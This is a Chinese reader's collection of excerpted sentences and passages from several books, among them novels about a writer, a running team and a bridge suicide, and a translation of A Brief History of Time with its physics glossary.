　　对某一领域有较深刻的认识，有时候甚至是坚定的技术信仰，乐于同他人分享自己的知识，希望能够推广自己的技术主张，此类架构师通常有较好的个人影响力。但有时，由于自身的局限或者不能跟上技术潮流的发展，会成为忽悠型的“大师”、偶像派的专家。

　　Geek 型架构师

　　架构师中的 Geek，对某些技术问题的研究达到疯狂偏执的境地，精益求精追求完美。通常由于知识技能不够全面，不符合许多企业对架构师“高大全”的要求，此类架构师常有怀才不遇之惑。

　　最好的架构师

　　和团队相处日久，通常情况下团队成员感觉不出他的存在，貌似没有他工作也可以完成得很好，但是如果他真的离开了，大家就会觉得心里空荡荡，没了主心骨。

　　最差的架构师

　　通过制造压力驱使团队成员努力去完成一些无价值的工作，让每个人都忙碌不堪以使大家都没有注意到他自己其实并不能胜任工作。这种架构师对组织整体和团队成员的伤害无以复加，却常常因为敬业和努力的形象而得到老板的肯定。

智齿

句子

　　对于有些官员，退休等于被执行死刑。失去权力无异于失去性命。人一走茶就凉，寂寞，失落，无所事事，门可罗雀，生不如死。

　　分手的恋人，一方活得越好，另一方大都因此活不好。

　　已经珠联璧合又分道扬镳的异性，重逢时，最爱转弯抹角或直截了当打听是谁填补了由于自己离去造成的空缺，而且大都希望那替补队员球技远远不如首发阵容。

段落

　　梁功辰说我没病。父亲说你没病怎么怕和别人交往？你 20 岁前很喜欢和别人交往呀，往家一群一群地领。20 岁以后是怎么了？梁功辰说我不是怕和别人交往，而是每次交往都给我造成痛苦，别人说的话我听着觉得特没劲，我说的话别人听着也别扭。人和人交往不说话怎么行？就干坐着四目相对默默无言？干脆照张合影摆在那儿交往得了。

　　“《红楼梦》怎么不是瞎编？而且是顶级瞎编。差小说是三级瞎编，好小说是超级瞎编，名著是顶级瞎编。”父亲一边笑一边说。

　　“书名是‘圣女贞德’不等于内容是圣女贞德，圣女贞德都被外国人写滥了，光是电影就拍了不下 10 部，我是广义的圣女贞德。”

　　“挂羊头卖狗肉？”

　　“爸，我发现您的语言很生动，还一针见血。”梁功辰抬头看父亲。

　　“只有作者最清楚自己的书里有几处错字。”梁功辰想出了证实身份的办法。

　　“既然这么清楚，为什么不改？”朱婉嘉问。

　　“下次重印就改了。”

　　“每次印之前作者不把关？”

　　“当然要把关，我们管这叫校对。但很奇怪，有些错字，校对时死活发现不了，可只要书一印出来，随意翻阅的头几页准能发现错字。”梁功辰说。

　　“如果你是洗衣机厂的老总，你怎么用人？”朱婉嘉问。

　　“聘三名副总经理，一个是学医的，一个是学哲学的，另一个最好是什么也没学过的。我绝对不要学企业管理的。企业管理是一门艺术，不是学问。学问能学，艺术学不了。再说了，在没有亲身经历过管理企业前，先学一通别人的经验，把脑子束缚住，只会影响创新。如今经商没有现成的路可走，谁独辟蹊径谁是赢家，谁拾人牙慧步人后尘谁只能吃残羹剩饭。”梁功辰说。

　　“给我个经商的创意吧。”朱婉嘉开玩笑。

　　梁功辰煞有介事地思索。

　　“你办一家租赁公司。”梁功辰说。

　　“租赁什么？”朱婉嘉饶有兴致地问。

　　“租赁外国人。”

　　“你让我当人贩子？蛇头？”

　　“我表弟是一家监狱的副监狱长，我让他给我复印了一份监狱的花名册。我写作时，从花名册中挑选人名，用一个勾掉一个。”梁功辰说。

　　“闹了半天你的作品中再正经的人也盗用的是犯人的名字！”朱婉嘉笑。

　　“还从没人对我使用过‘盗用’这个词。”梁功辰也笑，“和犯人同名没关系，别和犯人同德就行了。”

　　“老赵呀，你的观念也该变变了。别说文化人，就是科学家，如今的也和过去的不一样了。”孙晨说，“你听说过美国科学家卡里·穆利斯吧？”

　　“1993 年诺贝尔化学奖得主？”总编辑说。

　　孙晨说：“是的。这位科学家常年穿一条破牛仔裤，不戴眼镜，腋下也从不夹百科全书什么的，他酗酒、在酒吧追逐女孩、喜好海上冲浪甚至吸毒，整个一个摇滚歌星的生活方式。他曾对记者说，给他 10 分钟时间上电视，他就能证明福西奥和加洛是两个浑蛋。福西奥和加洛都是美国著名科学家。诺贝尔奖评委并没有因为卡里与传统科学家大相径庭而不将诺贝尔化学奖颁发给他。美国作家迈克尔·克莱顿就是由于卡里发现的聚合酶链反应技术以及可以无限制复制任何生物的脱氧核糖核酸的方法而触发了灵感写出《侏罗纪公园》的。卡里 1993 年获得诺贝尔化学奖后，就放弃了科研工作，整日放荡不羁，再也没有重操旧业。这位诺贝尔化学奖获得者小时候最爱干的事是用石头砸电线杆子、踩死青蛙、偷拍女同学、放爆竹和滑旱冰。老赵你看，时代确实在变，连科学家都这样了，何况咱们这些普通的出版人，你不能说卡里不算科学家吧？”

　　尽管如此，陶文赣还是由于从自行车里搜出的存款单上有 300 万元是用他的名字开的户而频繁被叫到检察院接受问讯。那半个月，检察院差点儿给陶文赣办理暂住人口登记。经过检察官去伪存真去粗取精由表及里直至动用测谎器助阵，最终证明陶文赣没有卷入其父母的受贿犯罪。检察官在告诉陶文赣今后不用再来检察院“上班”后，他对陶文赣说的最后一段话是：“你爹你娘是傻子堆里的聪明人。我们是专管傻子的部门，在我审查的众多傻子里，你爹你娘是最聪明的，他们夫妻携手主动放弃天堂往地狱里走时，没拉亲儿子一起去。”

　　遗憾的是陶文赣对法律工作毫无兴趣，他的不少大学同学如今是律师，陶文赣发现他们花在同各方面拉关系尤其是和法院拉关系的时间精力远远大于钻研法律，“打官司功夫在法律外”是这些同学见了陶文赣后说得最多的一句话。昔日，这些身为律师的同学多次通过陶文赣请陶副省长出面扭转法院的判决，就是证明。别看陶文赣无才，他还真不愿意从事“功夫在诗外”性质的工作，他想干“功夫在诗内”的丁是丁卯是卯的职业。

　　那两个月，马丽媛过得比公公在职时还爽还惬意还充实。上班时，马丽媛尽管戴着口罩依然不吝啬自己的笑容，兢兢业业对待每一位患者的每一颗牙。下班后，她做饭洗衣刷碗保障陶文赣在电脑上笔耕。剩余时间，马丽媛钻业务写学术论文攀登牙科的高峰。

　　“还爱吃原先那一套？”梁功辰问马丽媛。

　　将近 20 年前，梁功辰和马丽媛恋爱时常吃西餐，梁功辰知道马丽媛的口味。

　　马丽媛不信梁功辰还能记起她的西餐嗜好，她点点头。

　　“她要罐焖牛肉、奶油番茄汤、鸡肉沙拉和白米饭。我要素沙拉、蛋炒饭和煎牛排。”梁功辰对服务员说。

　　马丽媛的眼泪夺眶而出。服务员诧异地看马丽媛。

　　“你不想当大作家了？”

　　“不想当了。还得用舌头当侦探，我不干。人这一辈子，能给你打分的人越少越好。当公众人物的本质就是让所有人给你打分，公众人物每天都在参加考试，没完没了，一次失误就被开除了。当公众人物才是地道的应试教育，天天应试，考官是大众。傻不傻？你看那些明星，别人一边大便一边看刊载明星花边新闻的小报，还把明星的图片贴在卧室的床头，不定干什么用呢。要我说，明星普遍弱智。”

强风吹拂

句子

　　跑弯道时必须由内侧切向内侧，因为沿着路边跑会增加许多不必要的距离。

段落

　　升上大学后，阿走才知道那些和田径绝缘的人，根本搞不清楚马拉松和驿传有什么不同。提到径赛，他们甚至露出一脸吃惊的样子，当成笑话一样地说：“要跑五公里？那不就得一直绕着操场转圈圈？”简直把径赛当成某种莫名其妙的神秘仪式。 　　我把田径当成自己的第二生命，一般人却只把它当成一项无聊的比赛。这个事实对阿走造成很大的冲击，却又不禁同时沾沾自喜起来：原来我们每天拼死拼活追求的目标，大多数人都看不出来它多么有意义呀。

　　阿走忿忿捶桌子一拳。“现在可是还有人连 17 分钟的门槛都跨不过去！我们能不能参加箱根驿传预赛都还是未知数，你竟然叫我别参加大专院校杯？那我要去哪里创纪录？难道你要我陪着你们把这一整年都玩掉吗！” 　　“你跑步只是为了创纪录吗！”

　　清濑也不甘示弱，把手上的纸张往桌上一砸。他牢牢盯着阿走，眼里带着一丝焦虑与愤怒。

　　“你这样，跟那些用高压手段管理选手、眼里只有速度的指导员有什么不同！说穿了，你的想法还不是跟那群你痛恨、反抗的家伙一模一样！”

　　“不一样！”阿走大吼。他不想被拿来跟高中时代的教练和那票人相提并论，但他又没办法向清濑解释他们之间哪里不一样、为什么不一样。但阿走又确实觉得这群怎么跑都跑不快的竹青庄房客很烦，也有点瞧不起他们，当他们是一群没出息的家伙。

　　“你知道对长跑选手来说，最棒的赞美是什么吗？”

　　“是‘快’吗？”

　　“不，是‘强’，”清濑说，“光跑得快，是没办法在长跑中脱颖而出的。天候、场地、比赛的发展、体能，还有自己的精神状态——长跑选手必须冷静分析这许多要素，即使面对再大的困难，也要坚忍不拔地突破难关。长跑选手需要的，是真正的‘强’。所以我们必须把‘强’当作最高的荣誉，每天不断跑下去。”

　　“我以前从来没有真心喜欢过跑步，”清濑说，再次低下头，“只是照着大人说的去做，相信在适当的距离里反复练习，就能越跑越快，什么都没多想。我没有像你这样，是打从灵魂深处在探索跑步这件事。我唯一能做的渺小反抗，就是从没有强大田径队的大学中，选择一所自己想念的来读。”

　　KING 怎么也学不会跟人保持一种若即若离、自然而然的绝佳距离。不管身在何处，不论和谁相处，他都觉得自己像漂浮在半空中。虽然他可以八面玲珑、避免与人争执，却没办法向任何人敞开心胸，只会为了掩饰软弱而虚张声势。面对这样的 KING，当然没有人会想踏入他的内心世界。再加上 KING 自己认为，觉得寂寞是很丢脸的事，结果他的表面功夫也越做越好。

时间简史

注意

  • 摘录本为　许明贤　吴忠超　所译，翻译不是很好，很多地方特别抽象，不说人话。
  • 不推荐这本译本。

段落

　　类似地，P 的过去可被定义为下述的所有事件的集合，从这些事件可能以等于或小于光速的速度行进到达事件 P。这样，它就是能够影响发生在 P 的事件的所有事件的集合。不处于 P 的将来或过去的事件被称之为处于 P 的他处。在这种事件处所发生的东西既不能影响发生在 P 的事件，也不受发生在 P 的事件的影响。例如，假定太阳就在此刻停止发光，它不会对此刻的地球上的事情发生影响，因为它们是在太阳熄灭这一事件的他处（图 2.12）。我们只能在 8 分钟之后才知道这一事件，这是光从太阳到达我们所花费的时间。只有到那时候，地球上的事件才在太阳熄灭这一事件的将来光锥之内。类似地，我们也不知道这一时刻发生在宇宙中更远处的事：我们看到的从很远星系来的光是在几百万年之前发出的，至于我们看到的最远物体，光是在大约 80 亿年前发出的。这样，当我们看宇宙时，我们是在看它的过去。

　　牛顿运动定律使在空间中的绝对位置的观念寿终正寝。而相对论摆脱了绝对时间。考虑一对双生子。假定其中一个孩子去山顶上生活，而另一个留在海平面，第一个将比第二个老得快些。这样，如果他们再次相会，一个会比另一个更老一些。在这个例子中，年纪的差别会非常小。但是，如果有一个孩子在以近于光速运动的航天飞船中作长途旅行，这种差别就会大得多。当他回来时，他会比留在地球上另一个年轻得多。这叫做双生子佯谬，但是，只是对于头脑中仍有绝对时间观念的人而言，这才是佯谬。在相对论中并没有唯一的绝对时间，相反，每个人都有他自己的时间测度，这依赖于他在何处并如何运动。

　　因而量子力学把非预见性或随机性的不可避免因素引进了科学。尽管爱因斯坦在发展这些观念时起了很大作用，但他非常强烈地反对这些。他之所以得到诺贝尔奖就是因为他对量子理论的贡献。即使这样，他也从不接受宇宙受机缘控制的观点；他的情绪可以用他著名的断言来表达：“上帝不掷骰子。”然而，其他大多数科学家愿意接受量子力学，因为它和实验符合得很完美。

　　它的的确确成为一个极其成功的理论，并成为几乎所有现代科学技术的基础。它制约着晶体管和集成电路的行为，而这些正是电子设备诸如电视、计算机的基本元件。它还是现代化学和生物学的基础。物理科学未让量子力学适当结合进去的仅有领域是引力和宇宙的大尺度结构。

　　经典广义相对论由于预言无限大密度的点而预示了自身的垮台，正如同经典（也就是非量子）力学由于隐含着原子必须坍缩成无限的密度，而预言自身的垮台一样。我们还没有一个完备的协调的统一广义相对论和量子力学的理论，但是我们已知这个理论所应有的一系列特征。

　　狄拉克理论是第一种既和量子力学又和狭义相对论相一致的理论。它在数学上解释了为何电子具有二分之一的自旋，也即为什么将其转一整圈不能、而转两整圈才能使它显得一样。它还预言了电子必须有它的配偶——反电子或正电子。

　　任何粒子都有会和它相湮灭的反粒子。（对于携带力的粒子，反粒子即为其自身）。也可能存在由反粒子构成的整个反世界和反人。然而，如果你遇到了反自身（图 5.8），注意不要握手！否则，你们两人都会在一个巨大的闪光中消失殆尽。

　　第一种力是引力，这种力是万有的，也就是说，每一个粒子都因它的质量或能量而感受到引力。引力比其他三种力都弱得多。它是如此之弱，它若不具有两个特别的性质，我们根本就不可能注意到：它能作用到大距离去，以及它总是吸引的。这意味着，在像地球和太阳这样两个巨大的物体中，单独粒子之间的非常弱的引力能都叠加起来而产生相当大的力量。其他三种力要么是短程的，要么时而吸引时而排斥，所以它们倾向于相互抵消。以量子力学的方法来看待引力场，人们把两个物质粒子之间的力描述成由称作引力子的自旋为 2 的粒子携带的。它自身没有质量，所以携带的力是长程的。太阳和地球之间的引力可以归结为构成这两个物体的粒子之间的引力子交换。虽然所交换的粒子是虚的，它们确实产生了可测量的效应——它们使地球围绕着太阳公转！实引力子构成了经典物理学家称之为引力波的东西，它是如此之弱——并且要探测到它是如此之困难，以至于还从来未被观测到过。

　　直到 1956 年人们都相信，物理定律分别服从三个叫做 C、P 和 T 的对称。C（电荷）对称的意义是，定律对于粒子和反粒子是相同的；P（宇称）对称的意义是，定律对于任何情景和它的镜像（右手方向自旋的粒子的镜像变成了左手方向自旋的粒子）是相同的；T（时间）对称的意义是，如果你颠倒所有粒子和反粒子的运动方向，系统应回到早先的那样；换言之，定律对于前进或后退的时间方向是一样的。1956 年，两位美国物理学家李政道和杨振宁提出弱作用实际上不服从 P 对称。换言之，弱力使得宇宙和宇宙的镜像以不同的方式发展。同一年，他们的一位同事吴健雄证明了他们的预言是正确的。她把放射性原子的核排列在磁场中，使它们的自旋方向一致。实验表明，在一个方向比另一方向发射出更多的电子。次年，李和杨为此获得诺贝尔奖。人们还发现弱作用不服从 C 对称，即是说，它使得由反粒子构成的宇宙以和我们的宇宙不同的方式行为。尽管如此，弱力似乎确实服从 CP 联合对称。也就是说，如果每个粒子都用其反粒子来取代，则由此构成的宇宙的镜像和原来的宇宙以同样的方式发展！

　　有一个数学定理说，任何服从量子力学和相对论的理论必须服从 CPT 联合对称。换言之，如果同时用反粒子来置换粒子，取镜像还有时间反演，则宇宙的行为必须是一样的。但是，克罗宁和费兹指出，如果仅仅用反粒子来取代粒子，并且采用镜像，但不反演时间方向，则宇宙的行为不相同。所以，如果人们反演时间方向，物理学定律必须改变——它们不服从 T 对称。

　　早期宇宙肯定是不服从 T 对称的：随着时间前进，宇宙膨胀——如果它往后倒退，则宇宙收缩。而且，由于存在着不服从 T 对称的力，因此当宇宙膨胀时，相对于将电子变成反夸克，这些力将更多的反电子变成夸克。然后，随着宇宙膨胀并冷却下来，反夸克就和夸克湮灭，但由于已有的夸克比反夸克多，少量过剩的夸克就留了下来。正是它们构成我们今天看到的物质，由这些物质构成了我们自身。这样，我们自身之存在可认为是大统一理论的证实，哪怕仅仅是定性的而已；但此预言的不确定性到了这种程度，以至于我们不能知道在湮灭之后余下的夸克数目，甚至不知是夸克还是反夸克余下。（然而，如果是反夸克多余留下，我们可以简单地把反夸克称为夸克，夸克称为反夸克。）

　　由于量子力学的波粒二象性，光既可认为是波，也可认为是粒子。在光的波动说中，不清楚光对引力如何响应。但是如果光是由粒子组成的，人们可以预料，它们正如同炮弹、火箭和行星一样受引力的影响。人们起先以为，光粒子无限快地运动，所以引力不可能使之缓慢下来，但是罗默关于光以有限速度行进的发现意味着，引力对之可有重要效应。

　　如果一个恒星的质量比昌德拉塞卡极限还小，它最终会成为褐矮星或白矮星，如果它超过这个极限，该超巨星的最后引力坍缩会产生一个中子星或一个黑洞。

　　罗杰·彭罗斯和我在 1965 年和 1970 年之间的研究指出，根据广义相对论，在黑洞中必然存在密度和时空曲率无限大的奇点。这和时间开端时的大爆炸相当类似，只不过它是一个坍缩物体和航天员的时间终点而已。在此奇点，科学定律和我们预言将来的能力都崩溃了，然而，任何留在黑洞之外的观察者，将不会受到可预见性失效的影响，因为从奇点出发的，不管是光还是任何其他信号，都不能到达他那儿。这个非凡的事实导致罗杰·彭罗斯提出了宇宙监督假想，它可以被意译为：“上帝憎恶裸奇点。”换言之，由引力坍缩所产生的奇点只能发生在像黑洞这样的地方，它在那里被事件视界体面地遮住而不被外界看见。严格地讲，这就是所谓弱的宇宙监督假想：它使留在黑洞外面的观察者不致受到发生在奇点处的可预见性崩溃的影响，但它对那位不幸落到黑洞里的可怜的航天员却是爱莫能助。

　　广义相对论方程存在一些解，我们的航天员在这些解中可能看到裸奇点：他也许能避免撞到奇点上去，相反的穿过一个“虫洞”来到宇宙的另一区域。看来这给在时空内的旅行提供了大的可能性。但是不幸的是，所有这些解似乎都是非常不稳定的；最小的干扰，譬如一个航天员的存在就会使之改变，以至于他还没能看到此奇点，就撞上去而终结了他的时间。换言之，奇点总发生在他的将来，而绝不会发生在他的过去。宇宙监督假想强的版本是说，在一个现实的解里，奇点总是要么整个存在于将来（如引力坍缩的奇点），要么整个存在于过去（如大爆炸）。我强烈地相信宇宙监督，这样我就和加州理工学院的基帕·索恩和约翰·普勒斯基尔打赌，认为它总是成立的。

　　这样，在引力坍缩之后，一个黑洞必须最终演变成一种能够旋转，但是不能搏动的态。此外，它的大小和形状，只决定于它的质量和旋转速度，而与坍缩形成黑洞的原先物体的性质无关。此结果因如下一句格言而众所周知：“黑洞没有毛。”“无毛”定理具有巨大的实际重要性，因为它极大地限制了黑洞的可能类型。

　　我和加州理工学院的基帕·索恩打赌说，天鹅 X-1 不包含一个黑洞！这对我而言是一种保险的形式。我对黑洞作了许多研究，如果发现黑洞不存在，而这一切都成为徒劳。但在这种情形下，我将得到赢得打赌的安慰，他要给我订阅 4 年的《私家侦探》杂志。事实上，从我们打赌的 1975 年迄今，虽然天鹅 X-1 的情形并没有改变太多，但是人们已经积累了这么多对黑洞有利的其他观测证据，我只好认输。我进行了约定的赔偿，那就是给索恩订阅一年的《藏春阁》，这使他开放的妻子相当恼火。

　　某些证据表明，在我们星系的中心有一个大得多的黑洞，其质量大约是太阳的 10 万倍。星系中的恒星若十分靠近这个黑洞时，作用在它的近端和远端上的引力之差或潮汐力会将其撕开。它们的遗骸以及摆脱其他恒星的气体将落到黑洞上去。

　　最后使我信服这辐射是真实的理由是，这辐射的粒子谱刚好是一个热体辐射的谱，而且黑洞以刚好防止第二定律被违反的正确速率发射粒子。此后，其他人用多种不同的形式重复了这个计算。他们所有人都证实了黑洞必须如同一个热体那样发射粒子和辐射，其温度只依赖于黑洞的质量——质量越大则温度越低。

　　我们知道，任何东西都不能从黑洞的事件视界之内逃逸出来，黑洞怎么可能发射粒子呢？量子理论给我们的回答是，粒子不是从黑洞里面出来的，而是从紧靠黑洞的事件视界的外面的“空虚的”空间来的！我们可以用以下的方法去理解这个：我们以为是“空虚的”空间不能是完全空的，因为那就意味着诸如引力场和电磁场的所有场都必须刚好是零。然而场的数值和它的时间变化率如同粒子的位置和速度那样：不确定性原理意味着，人们对其中的一个量知道得越准确，则对另一个量知道得越不准确。所以在空虚的空间里场不可能严格地被固定为零，因为那样它就既有准确的值（零）又有准确的变化率（也是零）。场的值必须有一定的最小的不确定性量或量子起伏。人们可以将这些起伏理解为光或引力的粒子对，它们在某一时刻同时出现，相互离开，然后又相互靠近，而且相互湮灭（图 7.7）

　　我们在前几章中看到了，长期以来人们关于时间性质的观点是如何变化的。直到本世纪初（即 20 世纪初——编者注），人们还相信绝对时间。也就是说，每一事件可由一个称为“时间”的数以唯一的方式来标记，所有好的钟在测量两个事件之间的时间间隔上都是一致的。然而，对于任何正在运动的观察者，不管他怎么运动，光速总是一样的这一发现，导致了相对论——而在相对论中，人们必须抛弃存在一个唯一的绝对时间的观念，相反，每个观察者都有由他携带的钟记录的他自己的时间测量：不同观察者携带的钟不必要一致。这样，相对于进行测量的观察者而言，时间变成一个更个人的概念。

　　当人们试图统一引力和量子力学时，必须引入“虚”时间的概念。虚时间是不能和空间方向区分的。如果一个人能往北走，他就能转过头并朝南走；同样的，如果一个人能在虚时间里向前走，他应该能够转过来并往后走。这表明在虚时间里，往前和往后之间不可能有重要的差别。另一方面，当人们考察“实”时间时，正如众所周知的，在前进和后退方向存在着非常巨大的差别。过去和将来之间的这种差别从何而来？为何我们记住过去而不是将来？

　　时间箭头将过去和将来区别开来，使时间有了方向。至少有三种不同的时间箭头：首先是热力学时间箭头，即是在这个时间方向上无序度或熵增加；然后是心理学时间箭头，这就是我们感觉时间流逝的方向，在这个方向上我们可以记忆过去而不是未来；最后，是宇宙学时间箭头，宇宙在这个方向上膨胀，而不是收缩（见图 9.3）。

　　宇宙弦是弦状的物体，它具有长度，但是截面很微小。实际上，它们更像在巨大张力下的橡皮筋，其张力大约为 1 亿亿亿吨。把一根宇宙弦系到地球上，就会把地球在三十分之一秒的时间里从每小时零英里加速到每小时 60 英里。宇宙弦初听起来像是科学幻想物，但有理由相信，在早期宇宙中由在第五章讨论过的那种对称破缺机制可以形成宇宙弦。因为宇宙弦具有巨大的张力，而且可以从任何形态起始，所以它们一旦伸展开来，就会加速到非常高的速度。

　　然而，弦理论有更大的问题：似乎时空是十维或二十六维，而不是通常的四维时它们才是协调的！当然，额外的时空维的确是科学幻想的老生常谈；它们提供了克服广义相对论的通常限制的理想方法，即人们不能行进得比光更快或者旅行到过去的限制（见第十章）。其思想是穿过更高的维抄近路。

词典

  1. 绝对零度：所能达到的最低温度，在此温度下物体没有热能。

  2. 加速度：物体速度改变的速率。

  3. 人存原理：我们之所以看到宇宙是这个样子，是因为如果它不是这样的话，我们就不会在这里去观察它。

  4. 反粒子：每个类型的物质粒子都有相对应的反粒子。当一个粒子和它的反粒子碰撞时，两者就湮灭，只留下能量。

  5. 原子：通常物质的基本单元，是由很小的核子（包括质子和中子）以及围着它转动的电子构成。

  6. 大爆炸：宇宙开端的奇点。

  7. 大挤压：宇宙终结的奇点。

  8. 黑洞：时空的一个区域，因为那里的引力是如此之强，以至于任何东西，甚至光都不能从该处逃逸出来。

  9. 卡西米尔效应：在真空中两片平行的平坦金属板之间的吸引压力。这种压力是由平板之间的空间中的虚粒子的数目比正常数目减小而引起的。

  10. 昌德拉塞卡极限：一个稳定的冷星的可能的最大质量的临界值。比这质量更大的恒星，则会讲缩成一个黑洞。

  11. 能量守恒：关于能量（或它的等效质量）既不能产生也不能消灭的科学定律。

  12. 坐标：指定时空中一点的位置的一组数。

  13. 宇宙常数：爱因斯坦使用的一个数学手段，它赋予时空一个嵌入的膨胀向。

  14. 宇宙学：对整个宇宙的研究。

  15. 暗物质：在星系、星系团以及可能在星系团之间的物质，这种物质不能直接被观测到，但是可以由它的引力效应被检测到，宇宙中的质量多达 90%可能处于暗物质的形式。

  16. 对偶性：导致相同的物理结果的，表面上不同的理论之间的对应。

  17. 爱因斯坦-罗森桥：连接两个黑洞的时空的细管还请参见虫洞。

  18. 电荷：粒子的一个性质，由于这性质粒子排斥（或吸引）其他带有相同（或相反）符号电荷的粒子。

  19. 电磁力：在带电荷的粒子之间引起的力；它是四种基本力中第二强的力。

  20. 电子：带有负电荷并围绕着原子核转动的粒子。

  21. 弱电统一能量：大约为 100 吉电子伏的能量，在比这能量更大时，电磁力和弱力之间的差别消失。

  22. 基本粒子：被认为不可再分的粒子。

  23. 事件：由它的时间和位置所指明的在时空中的点。

  24. 事件视界：黑洞的边界。

  25. 不相容原理：两个相同的自旋为二分之一的粒子（在不确定性原理设定的极限之内）不能同时具有相同的位置和速度。

  26. 场：某种充满空间和时间的东西，与它相反的是在一个时刻只在一点存在的粒子。

  27. 频率：对一个波而言，在 1 秒内完整循环的次数。

  28. 伽马射线：波长非常短的电磁射线，是由放射性衰变或由基本粒子碰撞产生的。

  29. 广义相对论：爱因斯坦基于如下思想的理论，即科学定律对所有的观察者，不管他们如何运动，都必须是相同的它将引力解释成四维时空的曲率。

  30. 测地线：两点之间最短（或最长）的路径。

  31. 大统——能量：人们相信，在比这个能量更大时，电磁力、弱力和强力之间的差别消失。

  32. 大统——理论（GUT）：一种统一电磁力、强力和弱力的理论。

  33. 虚时间：用虚数测量的时间。

  34. 光锥：时空中的面，在上面标出光通过一给定事件的可能方向。

  35. 光秒（光年）：光在 1 秒（1 年）的时间里走过的距离。

  36. 磁场：引起磁力的场，现在和电场合并成电磁场。

  37. 质量：物体中物质的量；它的惯性或对加速的抵抗。

  38. 微波背景辐射：起源于炽热的早期宇宙的灼热的辐射，现在它受到如此大的红移，以至于不以光而以微波（波长为几厘米的射电波）的形式呈现出来。

  39. 裸奇点：不被黑洞围绕的时空奇点。

  40. 中微子：只受弱力和引力影响的极轻的粒子。

  41. 中子：一种和质子非常类似的但不带电荷的粒子，在大多数原子的核中大约一半的粒子是中子。

  42. 中子星：在超新星爆发后，有时一个恒星中心的物质的核坍缩成一团密集的中子，这种余下的冷的恒星称作中子星。

  43. 无边界条件：宇宙是有限的但是没有边界的思想。

  44. 核聚变：两个核碰撞并合并形成单独的更重的核的过程。

  45. 核：原子的中心部分，只由质子和中子构成。在核中强作用力将质子和中子束缚在一起。

  46. 粒子加速器：一种利用电磁铁能够对运动的带电粒子加速，给它们更多能量的机器。

  47. 相位：对一个波，特定的时刻在它循环中的位置：一种它是否在波峰、波谷或它们之间的某点的标度。

  48. 光子：光的一个量子。

  49. 普朗克量子原理：光（或任何其他经典的波）只能被发射或吸收分立的量子，其能量与它们的频率成正比，和它们的波长成反比的思想。

  50. 正电子：电子的（带正电荷的）反粒子。

  51. 太初黑洞：在极早期宇宙中产生的黑洞。

  52. 比例：“x 正比于 Y”，表示当 Y 被乘以任何数时，X 也如此；“X 反比于 Y”，表示当 Y 被乘以任何数时，X 被那个数除。

  53. 质子：一种和中子非常类似的但带正电荷的粒子，在大多数原子的核中大约一半的粒子是质子。

  54. 脉冲星：发射出无线电波规则脉冲的旋转中子星。

  55. 量子：波可被发射或吸收的不可分的单位。

  56. 量子色动力学（QCD）：描述夸克和胶子相互作用的理论。

  57. 量子力学：从普朗克量子原理和海森伯不确定性原理发展而来的理论。

  58. 夸克：感受强作用力的（带电的）基本粒子。每一个质子和中子都由 3 个夸克组成。

  59. 雷达：利用脉冲射电波的单独脉冲到达目标并折回的时间间隔来测量对象位置的系统。

  60. 放射性：一种类型的原子核自动分裂成其他类型的原子核。

  61. 红移：由于多普勒效应，从离开我们而去的恒星发出的光线的红化。

  62. 奇点：时空中的一点，在该处时空曲率（或者一些其他的物理量）变得无限大。

  63. 奇点定理：这定理是说，在一定情形下奇点必须存在——特别是宇宙必须起始于一个奇点。

  64. 时空：四维的空间，上面的点是事件。

  65. 空间维：三维中的任何一维——也就是除了时间维外的任何一维。

  66. 狭义相对论：爱因斯坦的基于如下思想的理论，即科学定律在没有引力现象时，对所有进行自由运动的观察者，无论他们的运动速度如何，都必须相同。

  67. 谱：构成一个波的分频率。太阳谱的可见光部分可以在彩虹中看见。

  68. 自旋：相关于但不等同于日常的自转概念的基本粒子的内部性质-

  69. 稳态：不随时间变化的态：一个以固定速率自转的球是稳定的，因为即便它不是静止的，在任何时刻它看起来都是等同的。

  70. 弦论：物理学的理论，在该理论中粒子被描述成弦上的波。弦具有长度，但没有其他维。

  71. 强力：4 种基本力中最强的，作用距离最短的一种力。它在质子和中子中将夸克束缚在一起，并将质子和中子束缚在一起形成原子核。

  72. 不确定性原理：海森伯表述的一个原理，该原理说，人们永远不能够精确地同时知道粒子的位置和速度；对其中的一个知道得越精确，则对另外一个就知道得越不精确。

  73. 虚粒子：在量子力学中，一种永远不能直接检测到的，但其存在确实具有可测量效应的粒子。

  74. 波/粒二象性：量子力学中的概念，认为在波和粒子之间没有区别；粒子有时可以像波一样行为，而波有时可以像粒子一样行为。

  75. 波长：在一个波中，两个相邻波谷或波峰之间的距离。

  76. 弱力：4 种基本力中仅次于引力的第二弱的，作用距离非常短的一种力。它作用于所有物质粒子，而不作用于携带力的粒子。

  77. 重量：引力场作用在物体上的力。它和质量成比例，但又不同于质量。

  78. 白矮星：一种由电子之间不相容原理排斥力所支持的稳定的冷的恒星。

  79. 虫洞：联结宇宙的遥远区域的时空细管。虫洞还可以联结到平行或婴儿宇宙，并且能够提供时间旅行的可能性。

焦虑的人

　　我们不受控制，所以学会了假装，一直假装，在工作中假装，在婚姻中假装，在孩子面前假装，一切都需要假装。假装自己很正常，受过良好教育，明白什么是“摊销等级”和“通货膨胀率”，假装知道性是怎么回事。实际上，我们对于性的了解并不比对USB线了解得多，总是需要试验四次才能插好这个小玩意儿（插反了，反了，反了，好了！这下对了！）。

　　年轻警察离开后，老警察独自坐在警员休息室里喝咖啡。年长者不知道该对年轻人说些什么来表达自己的关心，当你真正想说的是“我知道你不好受”时，是很难找到别的话来代替的。

　　这个男人假装——什么都假装。所有的财务专家都向他保证，要购买房地产开发公司的股份，这是一项安全的投资，因为每个人都知道，房价从来不会跌。后来房价就跌了。

　　他把这一切告诉了十几岁的男孩，当然，男孩知道一切都会好起来，因为如果一个站在桥栏杆上的人，肯花时间告诉一个陌生人他有多爱自己的孩子们，你会知道他真的不想跳下去。

　　然后那个人就跳了下去。

　　“我从来没想着……瞧，我坐在这里，跟你唠叨这些事儿，真是傻透了。可我从来没想着让我儿子当警察。他太敏感，太……善良。你懂我的意思吗？十年前，他跑到一座桥上，想跟一个打算跳桥的人讲道理，劝他别跳下去。他做了所有能做的！竭尽所能！可那个人还是跳了。你能想象这对一个人有什么影响吗？我儿子……他总想着拯救所有人。在那之后，我想也许他不会再想当警察了，可相反的事情发生了，他突然比以往任何时候都想当警察！因为他希望救人，哪怕是坏人。”

　　实际上，促使男孩立志成为警察的并非桥上的那个男人，而是一周之后站在同一段栏杆上的那个十几岁的女孩。她是没有跳的那一个。

　　当你不知道该如何谈论生活中的其他事情时，那么谈论工作还算是比较容易的。劫持人质事件发生后，杰克一直在想那座桥，因为他运气好时会梦见那个男人没有跳下去，自己把他给救了。吉姆也一直在想着那座桥，因为他运气不好时会梦见跳下去的是杰克。

